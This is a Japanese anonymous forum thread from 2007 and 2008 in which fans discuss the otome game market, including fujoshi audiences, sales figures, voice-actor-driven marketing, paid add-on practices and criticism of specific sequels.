- つまりノーマルでもある事だけど
公式的でないカプおｋな人とそうでない人がいるって事なのかな。
つまり最初からBLだったりホモ設定だったりならおｋという人と
BL要素のない作品で独自にBLカップル創作したりもおｋ、むしろ妄想ﾊﾞｯﾁｺｲな人と。
乙女は例えば、攻略キャラと他女キャラの脇カプとかも表現が相当難しかろうってくらい
攻略対象×主人公の図式が厳然としてあるから、妄想は自然とその図式内でのものになるけど
そういう点で考えると、ある意味かなりBL妄想の人の意識って捉われず自由なんだなーと
嫌味とかでなく素直に思った。
- 215 名前：名無しって呼んでいいか？ ：07/12/05 10:55:16 ID:???
- BL妄想する人の凄さを皆知らないんだね
♂ならなんでもいいんだよ、雄犬とカプ認定されてたのもあったｗｗ
- 216 名前：名無しって呼んでいいか？ ：07/12/05 11:23:10 ID:???
- 男じゃなくてもよかったりする
ノートン先生は眼鏡白衣の神経質インテリ系とか擬人化はお手の物
テトリスやお茶漬けでも妄想できる
基本は属性と関係性だね。
- 217 名前：名無しって呼んでいいか？ ：07/12/05 15:28:58 ID:???
- 実際の比率でいうと
普段はBLだが乙女ゲだけはノマ萌えって人が多いよ。
- 218 名前：名無しって呼んでいいか？ ：07/12/05 15:33:57 ID:???
- いいかげんスレチ。
腐女子の方はそろそろ遠慮してくれまいか？
- 219 名前：名無しって呼んでいいか？ ：07/12/05 15:47:21 ID:???
- マジメに世にはびこる腐女子より学び
いかにして乙女ゲが拡大できるか
を語ってたのに
- 220 名前：名無しって呼んでいいか？ ：07/12/05 15:49:19 ID:???
- ただの女性ゲーマーは腐女子を嫌悪してる人間もいるから荒れる要因かもね
- 221 名前：名無しって呼んでいいか？ ：07/12/05 16:04:10 ID:???
- 乙女ゲメーカー側が腐女子向けにもアピールしようとすると
ラブレボの派生展開みたいなことになっちゃうから
混ぜるな危険で住み分けしたほうが平和だよ
ユーザーが勝手に萌えるのは各々自由なんだし、お互いに不可侵で済む話。
- 222 名前：名無しって呼んでいいか？ ：07/12/05 16:15:08 ID:???
- そもそも
腐女子向け＝作中でホモ匂わす
は間違いだって上で言ってるのに
なぜ混ぜるな危険と思えるのかマジで理解できない
女性向けゲームが5万もでれば凄い凄い言われるけど、
ヲタ女はもっといるはずなんだよね
乙女ゲやる層がいつまでも少ないだけで
- 223 名前：名無しって呼んでいいか？ ：07/12/05 16:19:57 ID:???
- >>222
ごめん日本語でおK
- 224 名前：名無しって呼んでいいか？ ：07/12/05 16:23:30 ID:???
- >>223
どこらへんが理解できないのかくやしく
- 225 名前：名無しって呼んでいいか？ ：07/12/05 16:25:34 ID:???
- ＞そもそも
＞腐女子向け＝作中でホモ匂わす
＞は間違いだって上で言ってるのに
＞なぜ混ぜるな危険と思えるのかマジで理解できない
- 226 名前：名無しって呼んでいいか？ ：07/12/05 16:43:09 ID:???
- >>225
>>213
＞＞わざわざ乙女ゲームのキャラをホモにしなくても、ボブゲだってあるんだし
＞実は作品でやられると妄想の入る余地がなくてむしろダメだったりする
＞BLの同人・サイトがそんなに多くないのもそういう要因があるかと
つまり作中でホモらせられるとむしろダメな場合が多い
だから混ぜる必要性がない
むしろ混ぜたら腐女子層は取り込みづらい
何度も言ってるけど腐女子は関係性やキャラクターそのものに反応するので
むしろ妄想の余地がある世界観とかキャラ同士のフツーのやり取りの方が大事
腐女子談義うぜぇ言われそうなので追加
乙女ゲーは基本的に攻略キャラ（付属する脇キャラ含む）と主人公のみ
で完結してる作品が多いと感じるので
もっとなんつーか、まとまった世界観が必要なんじゃなかろうか
こっちのルートの時ほかの攻略キャラはいつの間にか消えてるとか多いじゃん？
全然見かけなくなっちゃったけど、今頃あいつら何してんだろとか、
ED迎えた時、そういやあの件結局どうなったんだろう？あれ？放置？？とか
なかったりしない？
- 227 名前：名無しって呼んでいいか？ ：07/12/05 16:44:36 ID:???
- >>222
作品云々じゃなくって、このスレで腐女子関連の話するのはまずいって話じゃないのか？
- 228 名前：名無しって呼んでいいか？ ：07/12/05 16:47:40 ID:???
- 外部から足りない要素を探るのは建設的なことだと思うけど
- 229 名前：名無しって呼んでいいか？ ：07/12/05 17:13:22 ID:???
- 腐女子の萌え傾向や妄想のすごさだけはよくわかった
- 230 名前：名無しって呼んでいいか？ ：07/12/05 17:16:21 ID:???
- そういう層を取り込めればなぁって思ったんだけどやっぱだめか
前々から「結局市場が狭いから」って見かけてたんで
市場を広げるには男性引き込むよりは性別が同じ女を
もっと取り込んだ方がいいと思ったんだけどな
同人やるような層なら自然宣伝にもなるし
- 231 名前：名無しって呼んでいいか？ ：07/12/05 17:32:05 ID:???
- まずは最低限乙女ゲーユーザーに買わせる事だね
いくら数少とはいえ、乙女ゲープレイしたことある人って延べ10万人ぐらいは居るんじゃないか？
- 232 名前：名無しって呼んでいいか？ ：07/12/05 17:37:19 ID:???
- まあ、ＧＳは10万超えてて遙か３もそれに近い売り上げになったそうだから
やった事がある位なら10万は居るだろうね
- 233 名前：名無しって呼んでいいか？ ：07/12/05 17:40:25 ID:???
- だね。
乙女ゲーとして微妙な出来栄えのゲームに、
乙女ゲーマー以外の層が食い付くとは思えない。
宣伝の仕方によるのかもしれないけど…
- 234 名前：名無しって呼んでいいか？ ：07/12/05 17:41:08 ID:???
- >>233は>>231あてです。
- 235 名前：名無しって呼んでいいか？ ：07/12/05 18:38:03 ID:???
- >>232
GSは10万くらい、遙か3は5万くらいだったような
- 236 名前：名無しって呼んでいいか？ ：07/12/05 20:06:39 ID:???
- その2作品は安定した人気があるからなー
遙かは世界観、GSはシステムが見えてるから安心して買えるんだ
DUELとか白銀とかの完全新作も頑張って欲しい！
- 237 名前：名無しって呼んでいいか？ ：07/12/05 20:11:24 ID:???
- >>235
追加の十六夜記と運命の迷宮も合わせての枚数じゃない？
- 238 名前：名無しって呼んでいいか？ ：07/12/05 20:22:05 ID:???
- GS10万って、PS2版のみの販売数？
DS版含むだと、両方買ってる人たちがいるから、
多く見積もりすぎになると思うんだけど。
- 239 名前：名無しって呼んでいいか？ ：07/12/05 20:25:42 ID:???
- 毎度OPの出来はいいんだよな
だから店頭とかで流れてるとつい買ってもいいかと思ってしまう
買わないけど
- 240 名前：名無しって呼んでいいか？ ：07/12/05 20:27:15 ID:???
- ↑ごめん誤爆
- 241 名前：名無しって呼んでいいか？ ：07/12/05 20:29:37 ID:???
- >>238
PS2通常版+廉価版がこれぐらいだった気がする
詳しくはGSスレで聞いた方がいいかも
>>236
来年は新作多いよね
乙女ゲ新規参入メーカーにも頑張ってほしいな
- 242 名前：名無しって呼んでいいか？ ：07/12/05 20:35:54 ID:???
- バンナムにはいろんな意味で期待してるｗ
- 243 名前：名無しって呼んでいいか？ ：07/12/05 20:56:59 ID:???
- >>238
PS2版のみのはず。
正確な数字は知らないが、発売当時にときメモファンドというものがあって
それに加入していた知人やニュースサイトで話題になっていた。
ときメモ３の売り上げが想定外に悪く、元本割れをおこさないためには
ときメモGSが15万本いかないといけないと言われた。
そして元本割れはおこらなかった。
それとは別に今年出たGSのDS版は単品で５万以上いっている。
- 244 名前：名無しって呼んでいいか？ ：07/12/05 21:00:29 ID:???
- >>243だが、応えておいてなんだが
売り上げがどうこうよりゲームの品質の話のほうが実があると思う。
肥とｺﾝﾏｲは質をおとさないように本気で頑張ってほしいし
他の会社がもっと良質なゲームを作れるようになってほしい。
- 245 名前：名無しって呼んでいいか？ ：07/12/05 21:08:01 ID:???
- 遙か3の大幅なシステムの変更とか、移植版GSの親友モードは冒険してるなーと思った
シリーズもので既に安定して顧客が付いてる作品でも、どんどん進化して欲しいな
- 246 名前：名無しって呼んでいいか？ ：07/12/05 22:21:58 ID:???
- >>244
主題は「乙女ゲーの市場は現在ドレくらいなのか？」だから
数も大事だよ
売り上げの話するとすぐ自慢だなんだって騒ぐ人いるけど、
そういう人は主題を見失ってるだけ
なんで自分はこんな話してるんだっけ？
って考えながら話さないと脱線するよ
んでも、ときめもGSは本家ときめものネームバリューで買った男性もいるだろうから
あんま参考にはならないかもね
- 247 名前：名無しって呼んでいいか？ ：07/12/05 22:46:37 ID:???
- >>226
＞こっちのルートの時ほかの攻略キャラはいつの間にか消えてるとか多いじゃん？
＞全然見かけなくなっちゃったけど、今頃あいつら何してんだろとか、
＞ED迎えた時、そういやあの件結局どうなったんだろう？あれ？放置？？とか
これ、私も同じような事を思ったことがある。
誰かのルートに入っちゃうと他キャラが全然絡まなくなってしまって
「コイツの生活には主人公と自分しかいないのか」みたいな。
だからＧＳ２の校内遭遇イベでのキャラ同士の掛け合いだとか
コルダでのモブキャラでの攻略対象への噂話みたいのがちょっと新鮮に感じた。
キャラ同士の掛け合いが多いゲームももっと増えると面白いよな。
最近のゲームって、ゲーム本編では殆ど会話してない攻略対象同士が、
ドラマＣＤでは仲良さげにしてたりしてびっくりすることが多い気がする。
- 248 名前：名無しって呼んでいいか？ ：07/12/06 00:25:30 ID:???
- 好感度本命と次点の鞘当とかあると面白いんだけどな。やっぱ手間かなあ。
ルートザッピングも遙か３がシステム的にちょこっと出てたけど、あると面白い。
でも「二人以上攻略しなきゃ判らないとこがあるようなストーリーは嫌」って反論もあったな・・・。
- 249 名前：名無しって呼んでいいか？ ：07/12/06 00:42:13 ID:???
- >>248
＞高感度本命と次点の鞘当
これってフルキスであったけど、自分はかなり楽しめたんで他でもやって欲しいな。
ザッピングもいいな。金太郎飴シナリオで、明らかに別ルートのためにとってある
的な謎が残るのは嫌だが、上手いこと別の切り口で面白く見せてくれたら最高なんだけど。
- 250 名前：名無しって呼んでいいか？ ：07/12/06 00:58:41 ID:???
- キャラのルートに入ると一本道のゲームなら
高感度本命と次点の鞘当てもありだろうな
GSDSの親友モードみたいなのは、
好感度によっては本命がいれ変わることがあるから無理だろうが
- 251 名前：名無しって呼んでいいか？ ：07/12/06 01:07:33 ID:???
- ヒロインが男の親友同士の片方を落とした状態で裏ルートに入ると
振られたほうがメチャクチャ凹んでるwのが見れてイヅナは面白かった。
兄弟キャラの弟と付き合った状態でゲームを進めると
同じ兄のイベントでも、弟が乱入して邪魔したりとか。
ただこの手のシステムは差分シナリオを死ぬほど作らなきゃ
いけない割りにストーリーの変化は地味になるんだよね。
各ルートでの矛盾を起こさずドラマ性を出しつつ
しかも開発が楽なのは完全個別シナリオだと思う。（途中からの）
- 252 名前：名無しって呼んでいいか？ ：07/12/06 21:20:30 ID:???
- >>248
＞高感度本命と次点の鞘当
無印コルダでも、月森vs土浦とか、柚木vs２年、とかあったよね。
コレ結構好きなイベントだったから、アンコでも似たような鞘当があるモンだと思ってて
ガッカリした覚えがあるなぁ。
多股でなきゃわからない内容がシナリオに含まれるのは嫌だけど、
多股をする事によってより深く彼らの気持ちがわかる、とかそんな感じの
オマケ的なシナリオにすれば大丈夫だと思うし、そういうイベが含まれたゲームがもっと出て欲しい。
アンコもなぁ。乗り換え時になんらかのイベントがあってもよかったような気がするんだよなー...
- 253 名前：名無しって呼んでいいか？ ：07/12/07 20:55:03 ID:???
- ラスエス2限定版みたいに、本数最初から公開してる
乙女ゲって初めてだっけ？
マ王は乙女ゲじゃないしな。
でもこの手のやり方で効果あったって例を聞いたことないが…
- 254 名前：名無しって呼んでいいか？ ：07/12/08 05:08:58 ID:???
- >253
花柳も公開してなかったっけ？
うろ覚えだけど１万本とどこかで見た記憶がある
最近のゲームの傾向見てると声優イベントしたいが為にゲーム出してる感があって
個人的になんかモニョモニョする
声優の演技も演出のひとつだから全く頼るなとは言わないんだけど
ゲームはゲーム、イベントはイベントとある程度は切り離して考えて欲しいな
制作者もユーザーも
- 255 名前：名無しって呼んでいいか？ ：07/12/08 08:18:28 ID:???
- ＞声優イベントしたいが為にゲーム出してる
さすがにそれはないでしょｗ
スタッフの好みの声優を使ってイベントでウハウハ、はありそうだが。
- 256 名前：名無しって呼んでいいか？ ：07/12/08 13:01:14 ID:???
- >>255
コー○ー
- 257 名前：名無しって呼んでいいか？ ：07/12/08 15:28:29 ID:???
- >>254
同意
イベントしたいが為にとまでいかなくても、
キャスティングは間違いなくイベント前提で決めてるだろうなと思う
個人的にそういうとこに萎える
ちゃんとキャラ優先でベストなキャスティングしてくれよ……
人気声優頼みでいる限りは乙女ゲーに進化発展はない気がする
- 258 名前：名無しって呼んでいいか？ ：07/12/08 17:05:45 ID:???
- 最近声優に頼らずにまじめに勝負してるメーカーなんてあるか？
- 259 名前：名無しって呼んでいいか？ ：07/12/08 17:08:23 ID:???
- GS2は実質無名の新人使ったりして
賛否両論だったけどな
- 260 名前：名無しって呼んでいいか？ ：07/12/08 17:48:25 ID:???
- >>259
発売前は微妙みたいに言われてたけど発売後は結構評判良くなかった？
- 261 名前：名無しって呼んでいいか？ ：07/12/08 19:55:24 ID:???
- 無印があの豪華声優陣だったから声重視の人は発売前からダメ出ししてたよ。
アンチの多い森田が王子ポジになったのも批判集中した原因かと。
実際の演技はみんなよかったし、発売後の評判はいい。
結果的にはキャラとはまって見事なキャスティングだったと思う
- 262 名前：名無しって呼んでいいか？ ：07/12/08 21:24:38 ID:???
- 特別アンチって訳ではないんだけどコルダでorzってなってたから
王子が森田って聞いた時は確かに文句言いたくなったな
今は全然平気というか、むしろ奴じゃなきゃ駄目だくらいに思ってるけど
- 263 名前：名無しって呼んでいいか？ ：07/12/08 21:27:26 ID:???
- ネオアンは追加で結構若手揃ってるがあれはどうかね
マティアス：楠大典
エレンフリート：入野自由
ジェット：中村悠一
ロシュ：木村良平
らしいが
- 264 名前：名無しって呼んでいいか？ ：07/12/08 21:58:42 ID:???
- ネオアンの新キャラはとりあえずアニメとCDだけなのかゲーム続編も視野に入れてるのかがわからん。
新キャラ加入でゲーム続編となればどんな内容になるかの興味はあるけど、
無印の雰囲気を壊すのだけは勘弁してもらいたい。
- 265 名前：名無しって呼んでいいか？ ：07/12/08 21:59:19 ID:???
- 自分もアンチではないがキテル以外の森田はダメだ……
声優＝声優 じゃなくて「キャラ」にするのが上手いんだろうなコンマイ
- 266 名前：名無しって呼んでいいか？ ：07/12/09 02:32:47 ID:???
- ＧＳ無印も結果的には豪華声優揃いになっちゃったけど
誰が人気とかよく知らないプロデューサーだかディレクターが
キャラに合ってる人を選んでいっただけの話らしいよ
- 267 名前：名無しって呼んでいいか？ ：07/12/09 03:09:27 ID:???
- >>266
あれは話半分に聞いておくがよろしい…
無印のオーディションにきっしーが行ったそうだから
オーディションやったのはたしからしいが。
- 268 名前：名無しって呼んでいいか？ ：07/12/09 07:17:42 ID:???
- きっしー…
- 269 名前：名無しって呼んでいいか？ ：07/12/10 09:02:15 ID:???
- 花梨はどう思う？
- 270 名前：名無しって呼んでいいか？ ：07/12/10 14:25:32 ID:???
- そこも短期間でPS2移植するんだよね
PC乙女ゲ買う必要性がどんどんなくなってるな…
- 271 名前：名無しって呼んでいいか？ ：07/12/10 14:39:30 ID:???
- PC版についても、フラッシュゲーなのはいいとして
システム周りを何とかして頂きたい＞花梨
あそこが制作協力に関わったゲームは皆同じインターフェイスで辛い。
- 272 名前：名無しって呼んでいいか？ ：07/12/21 01:01:47 ID:???
- わりと言われてることだけど
D3って悪い意味で肥に似てきたね、本当に。
イベントが多いとかは興味ある層にとっては嬉しいんだろうし
それ自体は別段何とも思ってなかったけど、阿漕な商法まで似なくていいのになぁ…
商売だからどうしてもそうなっちゃうもんかな
- 273 名前：名無しって呼んでいいか？ ：07/12/21 01:02:51 ID:???
- 初参入してきた時は、シンプルシリーズもあるし
お手ごろ価格で感激だったのにな。
- 274 名前：名無しって呼んでいいか？ ：07/12/21 01:06:17 ID:???
- D3よく知らないんだが、どの辺があくどい商法になってきてるんだ？
- 275 名前：名無しって呼んでいいか？ ：07/12/21 01:21:19 ID:???
- 272じゃないが、D3の展開の仕方には疑問。
あくどいとまで思わないが、声ヲタ意識してそっちの餌撒きだけ必死みたい。
D3作品のスレは例のビタミンもそうだったが
今、ムスコスレと恋華スレが声優イベントのチケットがどうの
誰が出るだのの話ばっかりで埋め尽くされて
作品の話してないよ。
- 276 名前：名無しって呼んでいいか？ ：07/12/21 01:23:19 ID:???
- ・要本編ディスクな追加ディスク
・携帯商法（肥よりタチ悪いという声もあり）
・声優イベント
・キャラソンバラ売り
・ボッタクリアクセ
こんなところじゃないかねぇ。
D3作品はあまりやってないほうだから
間違ってたら訂正おながい。
- 277 名前：名無しって呼んでいいか？ ：07/12/21 01:23:51 ID:???
- 恋華スレは定期的に釘を刺しては
流れを戻そうとしてバランスとってるイマゲ。
ムスコスレは声ヲタに占拠されてんな……
嫌気がさした人がアンチスレに流れてるｗ
- 278 名前：名無しって呼んでいいか？ ：07/12/21 02:38:28 ID:???
- >276
・要本編ディスクな追加ディスク
がわからん……あったけ？
Ｄ3はイベントとかキャラソンまでなら許容範囲だ
でもいきなりアクセ売り出したときはポカーンだったがな
携帯サイト有料登録してゲームしないと
ゲーム本編に入っているおまけが見れなかったり
キャラ一人攻略できないバグのまま出荷したりとかは最悪
- 279 名前：名無しって呼んでいいか？ ：07/12/21 08:30:46 ID:???
- >携帯サイト有料登録してゲームしないと
>ゲーム本編に入っているおまけが見れなかったり
今度出るDSでも同じこと(有料携帯アプリとの連動)やるらしいが、
乙女ゲー新規層は、とまどうかもね。
DSのゲームって、おまけデータの追加(というか開示)ダウンロードは
Wi-Fiで無料(レイトン教授とかどうぶつの森とか)が、当然だから。
なのに、それすら、Wi-Fi通信を家でできない人が
家電量販店や大手ゲーム店の
DSステーションまで行くのが面倒だから、
最初から、ゲームにデータ入っているものについては
追加ダウンロードなんて形にせずに、
最初から開示しろって、文句言う人も多いくらいだ。
しかも今度は、DSのゲームに既に入っているおまけデータ開示の暗号を、
有料携帯アプリに加入しないと取得できないという方法だから、
ゲームというパッケージにお金を既に払っている人にとって
納得いかないという不満がでそうだと、今から予想できるよ。
ゲームを持っている人が、有料携帯アプリに加入すると
携帯アプリの方で、おまけが遊べるっていう連動にしたらいいと思うんだけどねえ。
- 280 名前：名無しって呼んでいいか？ ：07/12/21 11:48:30 ID:???
- バンプレはあえて有名どころを外したのかな＞声優
ちょっと意外だった
>279
ゲームを買う予定はないけど、そのシステムは納得できないな
おまけデータなんだしコンプで開示させればいいのに
- 281 名前：名無しって呼んでいいか？ ：07/12/21 12:56:25 ID:???
- お金を別途支払わないと、すべてを楽しめない というのと
お金を別途支払うと、おまけがついてくる というのは
同じように見えて、実は意味合いが全く違うからね
メーカーとしては前者の方が儲かるからやるんだろうが
- 282 名前：名無しって呼んでいいか？ ：07/12/21 13:48:33 ID:???
- ﾋﾞｽﾞﾛｸﾞのバンプレのインタビューがちょっと興味深かった。
入社当時から乙女ゲが作りたかったけど、女スタッフが少なかったり
企画書見てもらうことも難しかったけど
アルトネリコとかで流れが変わってきて、
女性向けも作ろうって空気になれたとか。
やっぱり作りたいって思う人はいるにはいるんだね。
カプコンとか、なんで処女作以外出さないのとかよく言われるけど
実際のところ、作りたくても出せない状況なだけかも。
- 283 名前：名無しって呼んでいいか？ ：07/12/21 14:08:10 ID:???
- >>274
ラスエス2のあれはさすがに呆れた
まだ確定してないけど
- 284 名前：名無しって呼んでいいか？ ：07/12/21 14:22:09 ID:???
- 一般ゲーに比べるとまだまだ市場が小さいのと
男のスタッフは女向けなんか作りたくないって悪い男社会があるのと
最近なら女向け→腐女子向け＝やおい と上が勘違いするのもあるか。
- 285 名前：名無しって呼んでいいか？ ：07/12/22 15:57:19 ID:???
- >>283
未確定情報で何か爆弾でも投下されたのか？
- 286 名前：名無しって呼んでいいか？ ：07/12/22 16:26:01 ID:???
- >277
＞声オタのムスコスレ占拠
あれはひどいよな
注意入るには入るが開き直られて終わるし
ゲームの手抜き具合から見て声オタ狙いなゲームだけどさ
>285
前作のＡってキャラ(人気キャラ)のグッドＥＤのクリアデータがあると
今作で落とせますよ〜ってやつだと思う
言葉のアヤで落とせるかどうかまだ確定してないみたいなんだけどね
- 287 名前：名無しって呼んでいいか？ ：07/12/22 17:06:04 ID:???
- >>286
ありがとう
もしかしてこれかな、甘姫２のサイトにあった
＞前作ファンに朗報！アノキャラが『2』でも攻略できるんです!!
ラスエスって１と２では絵師違うんだよね？
前作キャラの絵が変わるってどんな感じなんだろ…想像できないや
- 288 名前：名無しって呼んでいいか？ ：07/12/22 17:07:55 ID:???
- マジか…
案の悲劇を知らんのか
- 289 名前：名無しって呼んでいいか？ ：07/12/22 17:34:14 ID:???
- 選べる時代になったのは嬉しいが年々やっつけ仕事の作品ばかりになってる
- 290 名前：名無しって呼んでいいか？ ：07/12/22 17:39:31 ID:???
- 開発者が、最初は作る気はなかったけど
どうしてもというD3側の熱意に応える形で実現したってコメントしてるみたいだが
プレイヤーとしてはどうなんかね？
- 291 名前：名無しって呼んでいいか？ ：07/12/23 18:28:33 ID:???
- >>290
それってラスエスの話？
新選組もそうだったようだけど
プレイヤーがどう受け取るかは
最終的には結果論だろうなと思う。
続編欲しいってユーザーだって、それが自分が望んでたものと違っていたら
満足するわけないし。
- 292 名前：名無しって呼んでいいか？ ：07/12/25 03:47:52 ID:???
- やる気ないけど作ったよと言われると個人的には萎えるけど
作る予定は無かったけど要望もあったので気合入れて作ったよなら
そうでもないな
291の言う通り、要はどれぐらいの完成度になったかによるかと
- 293 名前：名無しって呼んでいいか？ ：07/12/31 16:03:55 ID:???
- 乙女ゲーム化して欲しい作品スレから転載
939 名前：名無しって呼んでいいか？ 投稿日：2007/12/31(月) 15:40:00 ID:41XIX2f3
ゲーム業界初の「乙女ゲーム・オブ・ザ・イヤー2007」
ttp://news.ameba.jp/domestic/2007/12/9851.html
＞「今後の乙女ゲーム業界への期待」の声からは、「特典や声優でユーザーを釣るのではなく、
＞シナリオやゲーム性に力を入れて欲しい」という意見が数多く見られた。
＞売上重視に傾倒し、内容の薄いゲームメーカーに対する不満が高まり、
＞ゲーム自体の楽しさを重視するユーザーが増加していることがわかる。
＞乙女達は、声優や美形キャラクターに「萌え」たいだけではなく、
＞あくまで「ゲーム」としての楽しさを求めている、
＞ということがひしひしと伝わってくる結果となった。
ほほう。
- 294 名前：名無しって呼んでいいか？ ：07/12/31 18:07:07 ID:???
- ほほう。
この意見が反映されればいいけど…
- 295 名前：名無しって呼んでいいか？ ：08/01/04 22:56:47 ID:???
- つか、>>293については意見募集している時期に知りたかった…
- 296 名前：名無しって呼んでいいか？ ：08/01/27 16:50:56 ID:???
- 男向け→女向けをのそのまま反転すると
少々無理がある…みたいなことがあるけど
逆に女向けだからこそ成立するシステムって何かないかなと思う。
- 297 名前：名無しって呼んでいいか？ ：08/01/27 17:26:08 ID:???
- ＞女向けだから成立するシステムて何かないかな
それこそGSのタッチがそうだと思う。
女の子が男の子の手をひっぱったり髪をちょんちょんしたり
口に近付いたりどついたりするのはアリでも
男が女にやったら完全にセクハラ。
ギャルゲに搭載なんてしようものなら
完全にヤバいゲームになる。
- 298 名前：名無しって呼んでいいか？ ：08/01/27 17:26:19 ID:???
- >>296
うーん…ＧＳの着替えシステムとかそんな感じのやつ？
女性は喜びそうだけど男性はあまり喜ばないだろう的な
- 299 名前：名無しって呼んでいいか？ ：08/01/27 17:38:42 ID:???
- >>297
でも、サクラ大戦とかときメモのドラマシリーズとか
ギャルゲでもあるにはあるし
DSでもある程度あるようだし
女だからこそって感じではないなぁ…＞おさわり
- 300 名前：名無しって呼んでいいか？ ：08/01/27 17:41:56 ID:???
- おしゃれプリンセスとかくるくるプリンセスとかの
ターゲット層を上げてみたのが出れば、受けるんじゃないかなって気がする。
フィギュアスケートは女のものじゃないけれど
男より興味ある層は多いだろうし、衣装選びとかの要素も女向け。
- 301 名前：名無しって呼んでいいか？ ：08/01/27 18:35:44 ID:???
- >>298
アイマスなんかのように
攻略対象の女が着替えるのはいいが
男の自分が着替えても面白くないよな、別に
- 302 名前：名無しって呼んでいいか？ ：08/01/27 20:20:09 ID:???
- >>297
魔女裁判だか魔女神判だか忘れたけど
女の子を視姦したり乳を触ったり足をまさぐったりするDSのゲームがあったぞよ
確かにイロモノっぽかったけどｗ
つまり、タッチは男性向けでも成立している
- 303 名前：名無しって呼んでいいか？ ：08/01/27 21:59:41 ID:???
- >>298
パレドゥレーヌにもあった。自室メイキングと着替え。
アイテム集めるの好きな女性プレイヤーはそれなりにいそうだけど
それは女だからじゃなくてコレクターだからのような気がするなあ。
>>302とか踏まえると男性向けでのみ成立する要素ってのもわからなくなってくる。
- 304 名前：名無しって呼んでいいか？ ：08/01/27 22:04:10 ID:???
- そういや乙女じゃ
アイドル的存在のメイン攻略対象に振り向いてもらうために
努力するって内容がないね。
- 305 名前：名無しって呼んでいいか？ ：08/01/27 22:08:15 ID:???
- 男性向け女性向けに向いている要素はあるだろうけど、
男性向け女性向けのみ成立する要素はないんじゃない？
- 306 名前：名無しって呼んでいいか？ ：08/01/27 22:10:49 ID:???
- じゃあ向いてる要素に話を変えるが
やっぱり着替えやメイクとかのおしゃれ要素ぐらい？
- 307 名前：名無しって呼んでいいか？ ：08/01/27 22:21:20 ID:???
- >>304
普通にあると思うけど…
ときメモGSとかラブレボとか、ちょっと趣向違うけど金色のコルダもそうかな？
ただ出てくる選択肢を選ぶだけでなく、何らかの努力を必要とするゲームってことだよね？
- 308 名前：名無しって呼んでいいか？ ：08/01/27 23:21:33 ID:???
- 料理とかプレゼント作成とかは女性向け特有のものだと思う
- 309 名前：名無しって呼んでいいか？ ：08/01/28 01:21:14 ID:???
- >307
そこらへんは「アイドルな存在に振り向いて貰うため」じゃなくて
「自分のため」にやってるから304の言ってるのとは違うんじゃない？
そういや乙女ゲーに元から誰かが気になってるって主人公いないね
- 310 名前：名無しって呼んでいいか？ ：08/01/28 01:25:04 ID:???
- 水2は主人公が初っぱなから失恋するぞ
主人公の好きな男が前作主人公を好きでな。
- 311 名前：名無しって呼んでいいか？ ：08/01/28 01:29:04 ID:???
- ＞主人公の好きな男が前作主人公を好きでな。
そりゃまた…個人的にはあんまり好みの設定ではないなｗ
- 312 名前：名無しって呼んでいいか？ ：08/01/28 01:39:38 ID:???
- よくそんな大冒険な設定つけたな
考えるまでもなく好みじゃないユーザーの方が多そうなのに
- 313 名前：名無しって呼んでいいか？ ：08/01/28 02:27:30 ID:???
- 知らない人がいたのが驚きだ
続編に前作キャラが出る時に絶対やったら顰蹙なことの
見本市のような作品だって有名だよ＜水2
- 314 名前：名無しって呼んでいいか？ ：08/01/28 05:51:32 ID:???
- 知らない人がいたのが驚きって…普通にいるだろうよ
- 315 名前：名無しって呼んでいいか？ ：08/01/28 12:15:42 ID:???
- 313じゃないが
このスレでもいろんなスレでもしょっちゅう
話題になってたような…＜水の2
住人変わったのかな？
- 316 名前：名無しって呼んでいいか？ ：08/01/28 18:55:14 ID:???
- 最近来た人は知らなくても無理はないだろう
PS2持ってないとか興味ないとか言う人もいるだろうし
乙女ゲーも市場広がったしな
前ヒロインﾏﾝｾｰで攻略キャラよりスチルが多いとか、
前作コンプデータがあると、前ヒロインと前作キャラの
デート風景が見られるとか、どう見てもファンディスク(ryな作りで有名だったっけ？
- 317 名前：名無しって呼んでいいか？ ：08/01/28 19:04:24 ID:???
- 常に同じ住人とも限らないでしょ。
自分も水２はなかなかスゴイ内容らしいので手を出す勇気がないｗ
ただ、
> 主人公の好きな男が前作主人公を好きでな。
これは上手く料理すれば、乙女好みの展開にできるのになー。
他の女を片思いで好きな男を主人公が振り向かせる、と。
最初は冷たいか、リアクションもイマイチの攻略キャラが
次第に主人公を気にしだし、最後は完全に落とす。
これは燃える。
ただしあくまで片思いの場合のみ。
付き合ってるのをもぎ取るのはシナリオライターの力量によっては
ただの浮気男に成り下がってしまうしな。
- 318 名前：名無しって呼んでいいか？ ：08/01/28 19:45:07 ID:???
- というか結構少女漫画とかでは黄金パターンというほどではないけど
定型シチュだよね、冒頭でフラれて…というのは。
大抵他の本命男が現れて主人公が魅力的になっていったら
フッた男が当て馬的に言い寄ってきて…みたいな展開になる印象だけど。
- 319 名前：名無しって呼んでいいか？ ：08/01/28 19:56:01 ID:???
- >>318
たまに振られたのが誤解で、そいつとくっつくパターンもあるな
ある意味そういう展開も面白いかも
乙女ゲなら当て馬も本命もエンドを迎えられるんだし
- 320 名前：名無しって呼んでいいか？ ：08/01/28 19:57:36 ID:???
- だがしかし、水2では
前作主人公がさらわれて、2主人公が助けにいくはめになる。
1周してご褒美に出てくるのは、なぜか2キャラ関係じゃなく
前作主人公と前作キャラのラブラブカプ設定引き継ぎ。
>>316が言っているように、2キャラよりも前作主人公のスチルのほうが多いなど
とにかく前主人公をマンセーしたいがための２作目としか思えないつくり。
今後も続編が出る時には「絶対水2のようになるな」が合言葉になるだろう。
- 321 名前：名無しって呼んでいいか？ ：08/01/28 20:12:56 ID:???
- 水やった事ない人間の今ここで見た話の印象としては
2主人公をフる男が1主人公を好きという設定さえ無ければ良い話な気がする。
ただそうなるとそもそも、1主人公をﾏﾝｾｰする以外の目的で
2主人公が男にフラれるシチュは果たしてどうしても必要、
もしくは上手く活かしてあったのか？という素朴な疑問が…
つかさ、フッた男が攻略対象で前作主人公を好きとかじゃなくて、
落とさない場合でもデフォで主人公第一になっていくような展開にすれば
中々新しいパターンだし、達成感やら征服欲みたいのも満たされて
プレイヤーも満足だったろうになあ。
- 322 名前：名無しって呼んでいいか？ ：08/01/28 20:20:50 ID:???
- >>321
振った男は思いっきり前作の攻略対象だった筈
それで略奪だと案の二の舞だしな
- 323 名前：名無しって呼んでいいか？ ：08/01/28 21:10:26 ID:???
- 振った男ってのが１で超重要人物だったからなあ…
１の中では真相解明ルートとでも言うべきエンドの相手役
- 324 名前：名無しって呼んでいいか？ ：08/01/28 22:27:36 ID:???
- 私も始めて知ったが嫌だなー。水２ってそんななんだ…
なぜ当て馬役を主人公にさせたのか、制作陣に全力で尋ねたくなるな
２主人公に自己投影しているプレイヤーの気持ち無視かよ
